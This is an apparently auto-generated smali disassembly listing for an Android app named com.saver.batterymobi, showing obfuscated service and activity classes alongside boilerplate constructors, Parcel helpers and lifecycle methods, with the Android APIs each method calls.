          1iget-object v0, p0, Landroidx/versionedparcelable/b;->b:Landroid/os/Parcel;
          3invoke-virtual {v0}, Landroid/os/Parcel;->readInt()I
          4move-result v0
          5if-gez v0, :cond_a
          6const/4 v0, 0x0
          7return-object v0
          8cond_a: new-array v0, v0, [B
          10iget-object v1, p0, Landroidx/versionedparcelable/b;->b:Landroid/os/Parcel;
          12invoke-virtual {v1, v0}, Landroid/os/Parcel;->readByteArray([B)V
          13return-object v0
          APIs
          • com.saver.batterymobi.lkj.jgj.ecr.a
          • com.saver.batterymobi.lkj.jgj.ecr.stopSelf
          Position Instruction Meta Information
          1iget-object p1, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          3invoke-virtual {p1, p0}, Lcom/saver/batterymobi/lkj/a/c;->f(Landroid/content/Context;)Z
          4move-result p1
          5if-eqz p1, :cond_b
          7invoke-virtual {p0, p0}, Lcom/saver/batterymobi/lkj/jgj/ecr;->a(Landroid/content/Context;)V
          8cond_b:
          9invoke-virtual {p0}, Lcom/saver/batterymobi/lkj/jgj/ecr;->stopSelf()V
          10return-void
          Cross References
          APIs
          • android.os.Parcel.dataPosition
          • android.os.Parcel.dataSize
          Position Instruction Meta Information
          1invoke-virtual {p1}, Landroid/os/Parcel;->dataPosition()I
          2move-result v0
          4invoke-virtual {p1}, Landroid/os/Parcel;->dataSize()I
          5move-result v1
          7const-string v2, ""
          9invoke-direct {p0, p1, v0, v1, v2}, Landroidx/versionedparcelable/b;-><init>(Landroid/os/Parcel;IILjava/lang/String;)V
          10return-void
          APIs
          • android.support.v4.graphics.drawable.IconCompat.a
          Position Instruction Meta Information
          0const/4 v0, 0x1
          2invoke-virtual {p1, v0, v0}, Landroidx/versionedparcelable/a;->a(ZZ)V
          4invoke-virtual {p1}, Landroidx/versionedparcelable/a;->a()Z
          5move-result v1
          7invoke-virtual {p0, v1}, Landroid/support/v4/graphics/drawable/IconCompat;->a(Z)V
          8iget v1, p0, Landroid/support/v4/graphics/drawable/IconCompat;->a:I
          10invoke-virtual {p1, v1, v0}, Landroidx/versionedparcelable/a;->a(II)V
          12iget-object v0, p0, Landroid/support/v4/graphics/drawable/IconCompat;->c:[B
          13const/4 v1, 0x2
          15invoke-virtual {p1, v0, v1}, Landroidx/versionedparcelable/a;->a([BI)V
          17iget-object v0, p0, Landroid/support/v4/graphics/drawable/IconCompat;->d:Landroid/os/Parcelable;
          18const/4 v1, 0x3
          20invoke-virtual {p1, v0, v1}, Landroidx/versionedparcelable/a;->a(Landroid/os/Parcelable;I)V
          21iget v0, p0, Landroid/support/v4/graphics/drawable/IconCompat;->e:I
          22const/4 v1, 0x4
          24invoke-virtual {p1, v0, v1}, Landroidx/versionedparcelable/a;->a(II)V
          25iget v0, p0, Landroid/support/v4/graphics/drawable/IconCompat;->f:I
          26const/4 v1, 0x5
          28invoke-virtual {p1, v0, v1}, Landroidx/versionedparcelable/a;->a(II)V
          30iget-object v0, p0, Landroid/support/v4/graphics/drawable/IconCompat;->g:Landroid/content/res/ColorStateList;
          31const/4 v1, 0x6
          33invoke-virtual {p1, v0, v1}, Landroidx/versionedparcelable/a;->a(Landroid/os/Parcelable;I)V
          35iget-object p0, p0, Landroid/support/v4/graphics/drawable/IconCompat;->j:Ljava/lang/String;
          36const/4 v0, 0x7
          38invoke-virtual {p1, p0, v0}, Landroidx/versionedparcelable/a;->a(Ljava/lang/String;I)V
          39return-void
          APIs
          • android.app.Service.<init>
          Position Instruction Meta Information
          1invoke-direct {p0}, Landroid/app/Service;-><init>()V
          2new-instance v0, Lcom/saver/batterymobi/lkj/a/c;
          4invoke-direct {v0}, Lcom/saver/batterymobi/lkj/a/c;-><init>()V
          5iput-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->a:Lcom/saver/batterymobi/lkj/a/c;
          6new-instance v0, Lcom/saver/batterymobi/lkj/a;
          8invoke-direct {v0}, Lcom/saver/batterymobi/lkj/a;-><init>()V
          9iput-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->b:Lcom/saver/batterymobi/lkj/a;
          10const/4 v0, 0x0
          11iput v0, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->c:I
          12const/16 v1, 0x32
          13new-array v2, v1, [F
          14iput-object v2, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->d:[F
          15new-array v2, v1, [F
          16iput-object v2, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->e:[F
          17new-array v1, v1, [F
          18iput-object v1, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->f:[F
          19iput v0, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->g:I
          20const/16 v0, 0xa
          21new-array v0, v0, [F
          22iput-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->h:[F
          23const-wide/16 v0, 0x0
          24iput-wide v0, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->i:J
          25const/4 v2, 0x0
          26iput v2, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->j:F
          27iput-wide v0, p0, Lcom/saver/batterymobi/lkj/jgj/jgr;->m:J
          28return-void
          Cross References
          APIs
          • android.util.SparseIntArray.<init>
          Position Instruction Meta Information
          1invoke-direct {p0}, Landroidx/versionedparcelable/a;-><init>()V
          2new-instance v0, Landroid/util/SparseIntArray;
          4invoke-direct {v0}, Landroid/util/SparseIntArray;-><init>()V
          5iput-object v0, p0, Landroidx/versionedparcelable/b;->a:Landroid/util/SparseIntArray;
          6const/4 v0, -0x1
          7iput v0, p0, Landroidx/versionedparcelable/b;->f:I
          8const/4 v0, 0x0
          9iput v0, p0, Landroidx/versionedparcelable/b;->g:I
          10iput-object p1, p0, Landroidx/versionedparcelable/b;->b:Landroid/os/Parcel;
          11iput p2, p0, Landroidx/versionedparcelable/b;->c:I
          12iput p3, p0, Landroidx/versionedparcelable/b;->d:I
          13iget p1, p0, Landroidx/versionedparcelable/b;->c:I
          14iput p1, p0, Landroidx/versionedparcelable/b;->g:I
          15iput-object p4, p0, Landroidx/versionedparcelable/b;->e:Ljava/lang/String;
          16return-void
          APIs
          • android.app.IntentService.<init>
          Position Instruction Meta Information
          1const-string v0, ""
          3invoke-direct {p0, v0}, Landroid/app/IntentService;-><init>(Ljava/lang/String;)V
          4new-instance v0, Lcom/saver/batterymobi/lkj/a/c;
          6invoke-direct {v0}, Lcom/saver/batterymobi/lkj/a/c;-><init>()V
          7iput-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          8new-instance v0, Lcom/saver/batterymobi/lkj/a;
          10invoke-direct {v0}, Lcom/saver/batterymobi/lkj/a;-><init>()V
          11iput-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->b:Lcom/saver/batterymobi/lkj/a;
          12const/16 v0, 0xbb8
          13iput v0, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->d:I
          14return-void
          Cross References
          APIs
          • java.lang.Object.getClass
          Position Instruction Meta Information
          0.annotation system Ldalvik/annotation/Signature;
          1value = {
          2"<T::",
          3"Landroidx/versionedparcelable/c;",
          4">(TT;)",
          5"Ljava/lang/Class;"
          6}
          7.end annotation
          9invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          10move-result-object p0
          12invoke-static {p0}, Landroidx/versionedparcelable/a;->a(Ljava/lang/Class;)Ljava/lang/Class;
          13move-result-object p0
          14return-object p0
          APIs
          • android.app.IntentService.<init>
          Position Instruction Meta Information
          1const-string v0, ""
          3invoke-direct {p0, v0}, Landroid/app/IntentService;-><init>(Ljava/lang/String;)V
          4new-instance v0, Lcom/saver/batterymobi/lkj/a/c;
          6invoke-direct {v0}, Lcom/saver/batterymobi/lkj/a/c;-><init>()V
          7iput-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          8new-instance v0, Lcom/saver/batterymobi/lkj/a;
          10invoke-direct {v0}, Lcom/saver/batterymobi/lkj/a;-><init>()V
          11iput-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->b:Lcom/saver/batterymobi/lkj/a;
          12return-void
          APIs
          • android.os.Parcel.setDataPosition
          Position Instruction Meta Information
          1invoke-direct {p0, p1}, Landroidx/versionedparcelable/b;->d(I)I
          2move-result p1
          3const/4 v0, -0x1
          4if-ne p1, v0, :cond_9
          5const/4 p1, 0x0
          6return p1
          7cond_9:
          8iget-object v0, p0, Landroidx/versionedparcelable/b;->b:Landroid/os/Parcel;
          10invoke-virtual {v0, p1}, Landroid/os/Parcel;->setDataPosition(I)V
          11const/4 p1, 0x1
          12return p1
          APIs
          • android.app.Service.<init>
          Position Instruction Meta Information
          1invoke-direct {p0}, Landroid/app/Service;-><init>()V
          2new-instance v0, Lcom/saver/batterymobi/lkj/a/c;
          4invoke-direct {v0}, Lcom/saver/batterymobi/lkj/a/c;-><init>()V
          5iput-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/edw;->a:Lcom/saver/batterymobi/lkj/a/c;
          6new-instance v0, Lcom/saver/batterymobi/lkj/a;
          8invoke-direct {v0}, Lcom/saver/batterymobi/lkj/a;-><init>()V
          9iput-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/edw;->b:Lcom/saver/batterymobi/lkj/a;
          10return-void
          APIs
          • android.app.Activity.onKeyDown
          Position Instruction Meta Information
          0const/4 v0, 0x4
          1if-eq p1, v0, :cond_c
          3invoke-super {p0, p1, p2}, Landroid/app/Activity;->onKeyDown(ILandroid/view/KeyEvent;)Z
          4move-result p1
          5if-eqz p1, :cond_a
          6goto/16 :goto_c
          7cond_a: const/4 p1, 0x0
          8goto/16 :goto_d
          9cond_c: const/4 p1, 0x1
          10goto_d: return p1
          APIs
          • android.app.Activity.<init>
          Position Instruction Meta Information
          1invoke-direct {p0}, Landroid/app/Activity;-><init>()V
          2new-instance v0, Lcom/saver/batterymobi/lkj/a;
          4invoke-direct {v0}, Lcom/saver/batterymobi/lkj/a;-><init>()V
          5iput-object v0, p0, Lcom/saver/batterymobi/lkj/zxs/kgr;->a:Lcom/saver/batterymobi/lkj/a;
          6new-instance v0, Lcom/saver/batterymobi/lkj/a/c;
          8invoke-direct {v0}, Lcom/saver/batterymobi/lkj/a/c;-><init>()V
          9iput-object v0, p0, Lcom/saver/batterymobi/lkj/zxs/kgr;->b:Lcom/saver/batterymobi/lkj/a/c;
          10return-void
          APIs
          • android.app.Activity.onKeyDown
          Position Instruction Meta Information
          0const/4 v0, 0x4
          1if-eq p1, v0, :cond_c
          3invoke-super {p0, p1, p2}, Landroid/app/Activity;->onKeyDown(ILandroid/view/KeyEvent;)Z
          4move-result p1
          5if-eqz p1, :cond_a
          6goto/16 :goto_c
          7cond_a: const/4 p1, 0x0
          8goto/16 :goto_d
          9cond_c: const/4 p1, 0x1
          10goto_d: return p1
          Cross References
          APIs
          • java.lang.Object.<init>
          Position Instruction Meta Information
          1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
          2const/4 v0, 0x0
          3iput v0, p0, Lcom/saver/batterymobi/lkj/a/b;->b:I
          4iput v0, p0, Lcom/saver/batterymobi/lkj/a/b;->c:I
          6invoke-direct {p0, p1}, Lcom/saver/batterymobi/lkj/a/b;->c([B)[I
          7move-result-object p1
          8iput-object p1, p0, Lcom/saver/batterymobi/lkj/a/b;->a:[I
          9return-void
          Cross References
          APIs
          • android.os.AsyncTask.<init>
          Position Instruction Meta Information
          0iput-object p1, p0, Lcom/saver/batterymobi/lkj/a/c$a;->d:Lcom/saver/batterymobi/lkj/a/c;
          2invoke-direct {p0}, Landroid/os/AsyncTask;-><init>()V
          3const/4 p1, 0x0
          4iput-object p1, p0, Lcom/saver/batterymobi/lkj/a/c$a;->a:Ljava/net/HttpURLConnection;
          5iput-object p1, p0, Lcom/saver/batterymobi/lkj/a/c$a;->b:Ljava/io/BufferedReader;
          7const-string p1, ""
          8iput-object p1, p0, Lcom/saver/batterymobi/lkj/a/c$a;->c:Ljava/lang/String;
          9return-void
          Cross References
          APIs
          • java.lang.Object.<init>
          Position Instruction Meta Information
          1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
          2new-instance v0, Landroidx/versionedparcelable/b;
          4invoke-direct {v0, p1}, Landroidx/versionedparcelable/b;-><init>(Landroid/os/Parcel;)V
          6invoke-virtual {v0}, Landroidx/versionedparcelable/b;->h()Landroidx/versionedparcelable/c;
          7move-result-object p1
          8iput-object p1, p0, Landroidx/versionedparcelable/ParcelImpl;->a:Landroidx/versionedparcelable/c;
          9return-void
          APIs
          • android.app.Activity.<init>
          Position Instruction Meta Information
          1invoke-direct {p0}, Landroid/app/Activity;-><init>()V
          2new-instance v0, Lcom/saver/batterymobi/lkj/a/c;
          4invoke-direct {v0}, Lcom/saver/batterymobi/lkj/a/c;-><init>()V
          5iput-object v0, p0, Lcom/saver/batterymobi/lkj/zxs/frw;->a:Lcom/saver/batterymobi/lkj/a/c;
          6return-void
          Cross References
          APIs
          • android.os.AsyncTask.<init>
          Position Instruction Meta Information
          0iput-object p1, p0, Lcom/saver/batterymobi/lkj/a/a$a;->b:Lcom/saver/batterymobi/lkj/a/a;
          2invoke-direct {p0}, Landroid/os/AsyncTask;-><init>()V
          3const/4 p1, 0x0
          4iput-object p1, p0, Lcom/saver/batterymobi/lkj/a/a$a;->a:Ljava/lang/String;
          5return-void
          APIs
          • com.saver.batterymobi.lkj.jgj.esd.a
          Position Instruction Meta Information
          0iput-object p0, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->c:Landroid/content/Context;
          2iget-object p1, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->c:Landroid/content/Context;
          4invoke-virtual {p0, p1}, Lcom/saver/batterymobi/lkj/jgj/esd;->a(Landroid/content/Context;)V
          5return-void
          APIs
          • android.os.Parcel.writeParcelable
          Position Instruction Meta Information
          1iget-object v0, p0, Landroidx/versionedparcelable/b;->b:Landroid/os/Parcel;
          2const/4 v1, 0x0
          4invoke-virtual {v0, p1, v1}, Landroid/os/Parcel;->writeParcelable(Landroid/os/Parcelable;I)V
          5return-void
          APIs
          • android.os.Parcel.readInt
          Position Instruction Meta Information
          1iget-object v0, p0, Landroidx/versionedparcelable/b;->b:Landroid/os/Parcel;
          3invoke-virtual {v0}, Landroid/os/Parcel;->readInt()I
          4move-result v0
          5return v0
          APIs
          • android.os.Parcel.readString
          Position Instruction Meta Information
          1iget-object v0, p0, Landroidx/versionedparcelable/b;->b:Landroid/os/Parcel;
          3invoke-virtual {v0}, Landroid/os/Parcel;->readString()Ljava/lang/String;
          4move-result-object v0
          5return-object v0
          APIs
          • com.saver.batterymobi.lkj.a.a$a.a
          Position Instruction Meta Information
          0check-cast p1, [Ljava/lang/String;
          2invoke-virtual {p0, p1}, Lcom/saver/batterymobi/lkj/a/a$a;->a([Ljava/lang/String;)Ljava/lang/String;
          3move-result-object p1
          4return-object p1
          APIs
          • com.saver.batterymobi.lkj.a.c$a.a
          Position Instruction Meta Information
          0check-cast p1, [Ljava/lang/Void;
          2invoke-virtual {p0, p1}, Lcom/saver/batterymobi/lkj/a/c$a;->a([Ljava/lang/Void;)Ljava/lang/String;
          3move-result-object p1
          4return-object p1
          Cross References
          APIs
          • android.os.Parcel.writeInt
          Position Instruction Meta Information
          1iget-object v0, p0, Landroidx/versionedparcelable/b;->b:Landroid/os/Parcel;
          3invoke-virtual {v0, p1}, Landroid/os/Parcel;->writeInt(I)V
          4return-void
          APIs
          • android.os.Parcel.writeString
          Position Instruction Meta Information
          1iget-object v0, p0, Landroidx/versionedparcelable/b;->b:Landroid/os/Parcel;
          3invoke-virtual {v0, p1}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
          4return-void
          APIs
          • com.saver.batterymobi.lkj.a.a$a.a
          Position Instruction Meta Information
          0check-cast p1, Ljava/lang/String;
          2invoke-virtual {p0, p1}, Lcom/saver/batterymobi/lkj/a/a$a;->a(Ljava/lang/String;)V
          3return-void
          APIs
          • com.saver.batterymobi.lkj.a.c$a.a
          Position Instruction Meta Information
          0check-cast p1, Ljava/lang/String;
          2invoke-virtual {p0, p1}, Lcom/saver/batterymobi/lkj/a/c$a;->a(Ljava/lang/String;)V
          3return-void
          Cross References
          APIs
          • android.content.BroadcastReceiver.<init>
          Position Instruction Meta Information
          0iput-object p1, p0, Lcom/saver/batterymobi/MainActivity$1;->a:Lcom/saver/batterymobi/MainActivity;
          2invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
          3return-void
          Cross References
          APIs
          • java.lang.Object.<init>
          Position Instruction Meta Information
          0iput-object p1, p0, Lcom/saver/batterymobi/MainActivity$2;->a:Lcom/saver/batterymobi/MainActivity;
          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
          3return-void
          Cross References
          APIs
          • android.webkit.WebChromeClient.<init>
          Position Instruction Meta Information
          0iput-object p1, p0, Lcom/saver/batterymobi/lkj/zxs/drg$a;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          2invoke-direct {p0}, Landroid/webkit/WebChromeClient;-><init>()V
          3return-void
          Cross References
          APIs
          • android.webkit.WebViewClient.<init>
          Position Instruction Meta Information
          0iput-object p1, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          2invoke-direct {p0}, Landroid/webkit/WebViewClient;-><init>()V
          3return-void
          Cross References
          APIs
          • android.os.AsyncTask.onPostExecute
          Position Instruction Meta Information
          1invoke-super {p0, p1}, Landroid/os/AsyncTask;->onPostExecute(Ljava/lang/Object;)V
          2return-void
          APIs
          • android.os.AsyncTask.onPreExecute
          Position Instruction Meta Information
          1invoke-super {p0}, Landroid/os/AsyncTask;->onPreExecute()V
          2return-void
          Cross References
          APIs
          • java.lang.Object.<init>
          Position Instruction Meta Information
          1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
          2return-void
          Cross References
          APIs
          • android.os.AsyncTask.onPostExecute
          Position Instruction Meta Information
          1invoke-super {p0, p1}, Landroid/os/AsyncTask;->onPostExecute(Ljava/lang/Object;)V
          2return-void
          APIs
          • android.app.Activity.onDestroy
          Position Instruction Meta Information
          1invoke-super {p0}, Landroid/app/Activity;->onDestroy()V
          2return-void
          APIs
          • android.app.Activity.onPause
          Position Instruction Meta Information
          1invoke-super {p0}, Landroid/app/Activity;->onPause()V
          2return-void
          APIs
          • android.app.Activity.onResume
          Position Instruction Meta Information
          1invoke-super {p0}, Landroid/app/Activity;->onResume()V
          2return-void
          APIs
          • android.app.Activity.onStop
          Position Instruction Meta Information
          1invoke-super {p0}, Landroid/app/Activity;->onStop()V
          2return-void
          APIs
          • android.app.Activity.onDestroy
          Position Instruction Meta Information
          1invoke-super {p0}, Landroid/app/Activity;->onDestroy()V
          2return-void
          APIs
          • android.app.Activity.onPause
          Position Instruction Meta Information
          1invoke-super {p0}, Landroid/app/Activity;->onPause()V
          2return-void
          APIs
          • android.app.Activity.onResume
          Position Instruction Meta Information
          1invoke-super {p0}, Landroid/app/Activity;->onResume()V
          2return-void
          APIs
          • android.app.Activity.onStop
          Position Instruction Meta Information
          1invoke-super {p0}, Landroid/app/Activity;->onStop()V
          2return-void
          APIs
          • java.lang.Object.<init>
          Position Instruction Meta Information
          1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
          2return-void
          APIs
          • java.lang.Object.<init>
          Position Instruction Meta Information
          1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
          2return-void
          Cross References
          APIs
          • java.lang.Object.<init>
          Position Instruction Meta Information
          1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
          2return-void
          Cross References
          APIs
          • java.lang.Object.<init>
          Position Instruction Meta Information
          1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
          2return-void